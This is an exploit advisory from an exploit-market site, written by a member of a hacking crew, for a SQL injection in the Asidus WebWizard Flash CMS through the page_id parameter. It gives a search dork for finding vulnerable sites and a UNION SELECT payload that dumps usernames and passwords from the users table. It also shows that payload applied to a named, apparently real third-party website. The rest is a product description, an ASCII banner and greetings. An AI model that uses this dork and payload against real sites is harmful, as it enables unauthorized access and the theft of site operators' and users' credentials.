[ autentificare ] [ înregistrare ] [ Restabilire ]
Contactează-ne
Ne puteți contacta prin:
0day.today   exploit-uri Market și 0day exploit-uri Database

Asidus WebWizard (page_id) SQL Injection Vulnerability

Autor
**RoAd_KiLlEr**
Risc
[
Nivel de securitate nul
]
0day-ID
0day-ID-13131
Categorie
web applications
Data
05-07-2010
Platformă
php
=======================================================
Asidus WebWizard (page_id)  SQL Injection Vulnerability
=======================================================


1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0     _                   __           __       __                     1
1   /' \            __  /'__`\        /\ \__  /'__`\                   0
0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
1                  \ \____/ >> Exploit database separated by exploit   0
0                   \/___/          type (local, remote, DoS, etc.)    1
1                                                                      1
0  [+] Site            : Inj3ct0r.com                                  0
1  [+] Support e-mail  : submit[at]inj3ct0r.com                        1
0                                                                      0
1                ###########################################           1
0               I'm **RoAd_KiLlEr**  member from Inj3ct0r Team         1
1                ###########################################           0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

[+]Title              Asidus WebWizard (page_id=)  SQL Injection Vulnerability
[+]Author          **RoAd_KiLlEr**
[+]Contact        RoAd_KiLlEr[at]Khg-Crew[dot]Ws
[+]Tested on     Win Xp Sp 2/3
---------------------------------------------------------------------------
[~] Founded by **RoAd_KiLlEr**
[~] Team: Albanian Hacking Crew
[~] Contact: RoAd_KiLlEr[at]Khg-Crew[dot]Ws 
[~] Home: http://inj3ct0r.com    
[~] Vendor: http://asiduswebwizard.com/
==========ExPl0iT3d by **RoAd_KiLlEr**==========

[+]Description:
Asidus WebWizard is a Cutting Edge Flash CMS (Flash Content Management System) that allows you to create and update your website on-line without leaving your browser window. 
Our team developed the most user friendly and yet the most powerful Flash CMS on the market today. 
Now you can create your own website, faster and easier than ever.
=========================================

[+] Dork: inurl:"index.php?page_id=" or Copyright © 2009 Plinmont.
developed by Asidus 

==========================================


[+].  SQL-i Vulnerability
=+=+=+=+=+=+=+=+=+

[PoC]:  http://127.0.0.1/path/index.php?page_id=[Exploit] 


[Exploit]: union select 1,2,3,group_concat(username,0x3a,password),5,6,7,8,9,10,11,12,13,14,15+from+users--


http://www.plinmont.com.mk/index.php?page_id=-9%20union%20select%201,2,3,group_concat(username,0x3a,password),5,6,7,8,9,10,11,12,13,14,15+from+users--






===========================================================================================
[!] Albanian Hacking Crew           
===========================================================================================
[!] **RoAd_KiLlEr**   
===========================================================================================
[!] MaiL: sukihack[at]gmail[dot]com
===========================================================================================
[!] Greetz To : Ton![w]indowS | X-n3t | b4cKd00r ~ | DarKHackeR. | The|DennY` | EaglE EyE | Lekosta | KHG | THE_1NV1S1BL3 & All Albanian/Kosova Hackers 
===========================================================================================
[!] Spec Th4nks: Inj3ct0r.com & r0073r  | indoushka from Dz-Ghost Team  | MaFFiTeRRoR | Sid3^effects | The_Exploited | And All My Friendz
===========================================================================================
[!] Red n'black i dress eagle on my chest
It's good to be an ALBANIAN
Keep my head up high for that flag I die
Im proud to be an ALBANIAN
===========================================



#  0day.today [2024-07-15]  #